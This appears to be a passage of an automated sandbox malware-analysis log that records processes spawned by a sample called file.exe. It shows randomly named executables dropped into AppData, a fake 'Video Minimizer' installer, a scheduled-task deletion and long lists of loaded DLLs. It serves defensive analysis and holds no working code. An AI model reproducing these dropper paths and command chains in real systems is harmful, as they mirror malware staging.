                  Source: C:\Windows\SysWOW64\schtasks.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpProcess created: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe "C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe" -i
                  Source: C:\Users\user\Desktop\file.exeProcess created: C:\Users\user\AppData\Roaming\LBOSqRLg\xIphwNW7O.exe "C:\Users\user\AppData\Roaming\LBOSqRLg\xIphwNW7O.exe"
                  Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
                  Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 6784 -ip 6784
                  Source: C:\Users\user\Desktop\file.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6784 -s 584
                  Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                  Source: C:\Windows\System32\svchost.exeProcess created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenableJump to behavior
                  Source: C:\Users\user\Desktop\file.exeProcess created: C:\Users\user\AppData\Roaming\RW27Sgr\sQurASc1qLwRL.exe "C:\Users\user\AppData\Roaming\RW27Sgr\sQurASc1qLwRL.exe"Jump to behavior
                  Source: C:\Users\user\Desktop\file.exeProcess created: C:\Users\user\AppData\Roaming\LBOSqRLg\xIphwNW7O.exe "C:\Users\user\AppData\Roaming\LBOSqRLg\xIphwNW7O.exe"Jump to behavior
                  Source: C:\Users\user\AppData\Roaming\RW27Sgr\sQurASc1qLwRL.exeProcess created: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp "C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmp" /SL5="$20138,4002138,54272,C:\Users\user\AppData\Roaming\RW27Sgr\sQurASc1qLwRL.exe" Jump to behavior
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpProcess created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\system32\schtasks.exe" /Delete /F /TN "video_minimizer_12124"Jump to behavior
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpProcess created: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe "C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe" -iJump to behavior
                  Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 6784 -ip 6784Jump to behavior
                  Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6784 -s 584Jump to behavior
                  Source: C:\Windows\SysWOW64\WerFault.exeProcess created: unknown unknownJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: kernel.appcore.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: aphostservice.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: networkhelper.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: userdataplatformhelperutil.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: mccspal.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: syncutil.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: umpdc.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: syncutil.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: vaultcli.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: dmcfgutils.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: wintypes.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: dmcmnutils.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: dmxmlhelputils.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: cryptsp.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: xmllite.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: inproclogger.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: wldp.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: profapi.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: sspicli.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: flightsettings.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: windows.networking.connectivity.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: npmproxy.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: iertutil.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: msv1_0.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: ntlmshared.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: cryptdll.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: synccontroller.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: pimstore.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: aphostclient.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: accountaccessor.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: dsclient.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: powrprof.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: powrprof.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: systemeventsbrokerclient.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: userdatalanguageutil.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: mccsengineshared.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: ntmarta.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: cemapi.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: userdatatypehelperutil.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: phoneutil.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: onecorecommonproxystub.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: execmodelproxy.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: rmclient.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: kernel.appcore.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: storsvc.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: devobj.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: fltlib.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: ntmarta.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: bcd.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: wer.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: winhttp.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: cabinet.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: wldp.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: windows.storage.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: appxdeploymentclient.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: storageusage.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: userenv.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: profapi.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: sspicli.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: propsys.dllJump to behavior
                  Source: C:\Users\user\Desktop\file.exeSection loaded: apphelp.dllJump to behavior
                  Source: C:\Users\user\Desktop\file.exeSection loaded: winmm.dllJump to behavior
                  Source: C:\Users\user\Desktop\file.exeSection loaded: msimg32.dllJump to behavior
                  Source: C:\Users\user\Desktop\file.exeSection loaded: wininet.dllJump to behavior
                  Source: C:\Users\user\Desktop\file.exeSection loaded: msvcr100.dllJump to behavior
                  Source: C:\Users\user\Desktop\file.exeSection loaded: iertutil.dllJump to behavior
                  Source: C:\Users\user\Desktop\file.exeSection loaded: sspicli.dllJump to behavior
                  Source: C:\Users\user\Desktop\file.exeSection loaded: windows.storage.dllJump to behavior
                  Source: C:\Users\user\Desktop\file.exeSection loaded: wldp.dllJump to behavior
                  Source: C:\Users\user\Desktop\file.exeSection loaded: profapi.dllJump to behavior
                  Source: C:\Users\user\Desktop\file.exeSection loaded: kernel.appcore.dllJump to behavior
                  Source: C:\Users\user\Desktop\file.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
                  Source: C:\Users\user\Desktop\file.exeSection loaded: winhttp.dllJump to behavior
                  Source: C:\Users\user\Desktop\file.exeSection loaded: mswsock.dllJump to behavior
                  Source: C:\Users\user\Desktop\file.exeSection loaded: iphlpapi.dllJump to behavior
                  Source: C:\Users\user\Desktop\file.exeSection loaded: winnsi.dllJump to behavior
                  Source: C:\Users\user\Desktop\file.exeSection loaded: urlmon.dllJump to behavior
                  Source: C:\Users\user\Desktop\file.exeSection loaded: srvcli.dllJump to behavior
                  Source: C:\Users\user\Desktop\file.exeSection loaded: netutils.dllJump to behavior
                  Source: C:\Users\user\Desktop\file.exeSection loaded: cryptsp.dllJump to behavior
                  Source: C:\Users\user\Desktop\file.exeSection loaded: rsaenh.dllJump to behavior
                  Source: C:\Users\user\Desktop\file.exeSection loaded: cryptbase.dllJump to behavior
                  Source: C:\Users\user\Desktop\file.exeSection loaded: uxtheme.dllJump to behavior
                  Source: C:\Users\user\Desktop\file.exeSection loaded: propsys.dllJump to behavior
                  Source: C:\Users\user\Desktop\file.exeSection loaded: linkinfo.dllJump to behavior
                  Source: C:\Users\user\Desktop\file.exeSection loaded: ntshrui.dllJump to behavior
                  Source: C:\Users\user\Desktop\file.exeSection loaded: cscapi.dllJump to behavior
                  Source: C:\Program Files\Windows Defender\MpCmdRun.exeSection loaded: mpclient.dllJump to behavior
                  Source: C:\Program Files\Windows Defender\MpCmdRun.exeSection loaded: secur32.dllJump to behavior
                  Source: C:\Program Files\Windows Defender\MpCmdRun.exeSection loaded: sspicli.dllJump to behavior
                  Source: C:\Program Files\Windows Defender\MpCmdRun.exeSection loaded: version.dllJump to behavior
                  Source: C:\Program Files\Windows Defender\MpCmdRun.exeSection loaded: msasn1.dllJump to behavior
                  Source: C:\Program Files\Windows Defender\MpCmdRun.exeSection loaded: kernel.appcore.dllJump to behavior
                  Source: C:\Program Files\Windows Defender\MpCmdRun.exeSection loaded: userenv.dllJump to behavior
                  Source: C:\Program Files\Windows Defender\MpCmdRun.exeSection loaded: gpapi.dllJump to behavior
                  Source: C:\Program Files\Windows Defender\MpCmdRun.exeSection loaded: wbemcomn.dllJump to behavior
                  Source: C:\Program Files\Windows Defender\MpCmdRun.exeSection loaded: amsi.dllJump to behavior
                  Source: C:\Program Files\Windows Defender\MpCmdRun.exeSection loaded: profapi.dllJump to behavior
                  Source: C:\Program Files\Windows Defender\MpCmdRun.exeSection loaded: wscapi.dllJump to behavior
                  Source: C:\Program Files\Windows Defender\MpCmdRun.exeSection loaded: urlmon.dllJump to behavior
                  Source: C:\Program Files\Windows Defender\MpCmdRun.exeSection loaded: iertutil.dllJump to behavior
                  Source: C:\Program Files\Windows Defender\MpCmdRun.exeSection loaded: srvcli.dllJump to behavior
                  Source: C:\Program Files\Windows Defender\MpCmdRun.exeSection loaded: netutils.dllJump to behavior
                  Source: C:\Program Files\Windows Defender\MpCmdRun.exeSection loaded: slc.dllJump to behavior
                  Source: C:\Program Files\Windows Defender\MpCmdRun.exeSection loaded: sppc.dllJump to behavior
                  Source: C:\Users\user\AppData\Roaming\RW27Sgr\sQurASc1qLwRL.exeSection loaded: apphelp.dllJump to behavior
                  Source: C:\Users\user\AppData\Roaming\RW27Sgr\sQurASc1qLwRL.exeSection loaded: uxtheme.dllJump to behavior
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpSection loaded: apphelp.dllJump to behavior
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpSection loaded: mpr.dllJump to behavior
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpSection loaded: version.dllJump to behavior
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpSection loaded: uxtheme.dllJump to behavior
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpSection loaded: kernel.appcore.dllJump to behavior
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpSection loaded: textinputframework.dllJump to behavior
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpSection loaded: coreuicomponents.dllJump to behavior
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpSection loaded: coremessaging.dllJump to behavior
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpSection loaded: ntmarta.dllJump to behavior
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpSection loaded: coremessaging.dllJump to behavior
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpSection loaded: wintypes.dllJump to behavior
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpSection loaded: wintypes.dllJump to behavior
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpSection loaded: wintypes.dllJump to behavior
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpSection loaded: windows.storage.dllJump to behavior
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpSection loaded: wldp.dllJump to behavior
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpSection loaded: profapi.dllJump to behavior
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpSection loaded: shfolder.dllJump to behavior
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpSection loaded: rstrtmgr.dllJump to behavior
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpSection loaded: ncrypt.dllJump to behavior
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpSection loaded: ntasn1.dllJump to behavior
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpSection loaded: msacm32.dllJump to behavior
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpSection loaded: winmmbase.dllJump to behavior
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpSection loaded: winmmbase.dllJump to behavior
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpSection loaded: textshaping.dllJump to behavior
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpSection loaded: riched20.dllJump to behavior
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpSection loaded: usp10.dllJump to behavior
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpSection loaded: msls31.dllJump to behavior
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpSection loaded: sspicli.dllJump to behavior
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpSection loaded: explorerframe.dllJump to behavior
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpSection loaded: sfc.dllJump to behavior
                  Source: C:\Users\user\AppData\Local\Temp\is-IVO84.tmp\sQurASc1qLwRL.tmpSection loaded: sfc_os.dllJump to behavior
                  Source: C:\Windows\SysWOW64\schtasks.exeSection loaded: kernel.appcore.dllJump to behavior
                  Source: C:\Windows\SysWOW64\schtasks.exeSection loaded: taskschd.dllJump to behavior
                  Source: C:\Windows\SysWOW64\schtasks.exeSection loaded: sspicli.dllJump to behavior
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeSection loaded: sqlite3.dllJump to behavior
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeSection loaded: appxsip.dllJump to behavior
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeSection loaded: opcservices.dllJump to behavior
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeSection loaded: iphlpapi.dllJump to behavior
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeSection loaded: dhcpcsvc.dllJump to behavior
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeSection loaded: ntmarta.dllJump to behavior
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeSection loaded: wininet.dllJump to behavior
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeSection loaded: windows.storage.dllJump to behavior
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeSection loaded: wldp.dllJump to behavior
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeSection loaded: profapi.dllJump to behavior
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeSection loaded: iertutil.dllJump to behavior
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeSection loaded: sspicli.dllJump to behavior
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeSection loaded: kernel.appcore.dllJump to behavior
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeSection loaded: winhttp.dllJump to behavior
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeSection loaded: mswsock.dllJump to behavior
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeSection loaded: winnsi.dllJump to behavior
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeSection loaded: urlmon.dllJump to behavior
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeSection loaded: srvcli.dllJump to behavior
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeSection loaded: netutils.dllJump to behavior
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeSection loaded: schannel.dllJump to behavior
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeSection loaded: mskeyprotect.dllJump to behavior
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeSection loaded: ntasn1.dllJump to behavior
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeSection loaded: msasn1.dllJump to behavior
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeSection loaded: dpapi.dllJump to behavior
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeSection loaded: cryptsp.dllJump to behavior
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeSection loaded: rsaenh.dllJump to behavior
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeSection loaded: cryptbase.dllJump to behavior
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeSection loaded: gpapi.dllJump to behavior
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeSection loaded: ncrypt.dllJump to behavior
                  Source: C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exeSection loaded: ncryptsslp.dllJump to behavior
                  Source: C:\Users\user\AppData\Roaming\LBOSqRLg\xIphwNW7O.exeSection loaded: mscoree.dllJump to behavior
                  Source: C:\Users\user\AppData\Roaming\LBOSqRLg\xIphwNW7O.exeSection loaded: apphelp.dllJump to behavior
                  Source: C:\Users\user\AppData\Roaming\LBOSqRLg\xIphwNW7O.exeSection loaded: kernel.appcore.dllJump to behavior
                  Source: C:\Users\user\AppData\Roaming\LBOSqRLg\xIphwNW7O.exeSection loaded: version.dllJump to behavior
                  Source: C:\Users\user\AppData\Roaming\LBOSqRLg\xIphwNW7O.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                  Source: C:\Users\user\AppData\Roaming\LBOSqRLg\xIphwNW7O.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                  Source: C:\Users\user\AppData\Roaming\LBOSqRLg\xIphwNW7O.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: wersvc.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: windowsperformancerecordercontrol.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: weretw.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: xmllite.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: wldp.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: wer.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: faultrep.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: dbghelp.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: dbgcore.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: wer.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: userenv.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: profapi.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: sspicli.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: kernel.appcore.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: wlidsvc.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: ncrypt.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: cryptsp.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: profapi.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: clipc.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: dpapi.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: ntasn1.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: wldp.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: rsaenh.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: cryptbase.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: windows.storage.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: msxml6.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: msasn1.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: winhttp.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: netprofm.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: iphlpapi.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: wtsapi32.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: winsta.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: gamestreamingext.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: msauserext.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: tbs.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: npmproxy.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: dhcpcsvc6.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: dhcpcsvc.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: webio.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: mswsock.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: winnsi.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: sspicli.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: dnsapi.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: rasadhlp.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: fwpuclnt.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: schannel.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: mskeyprotect.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: gpapi.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: cryptnet.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: ncryptsslp.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: cryptngc.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: devobj.dllJump to behavior
                  Source: C:\Windows\System32\svchost.exeSection loaded: ncryptprov.dllJump to behavior
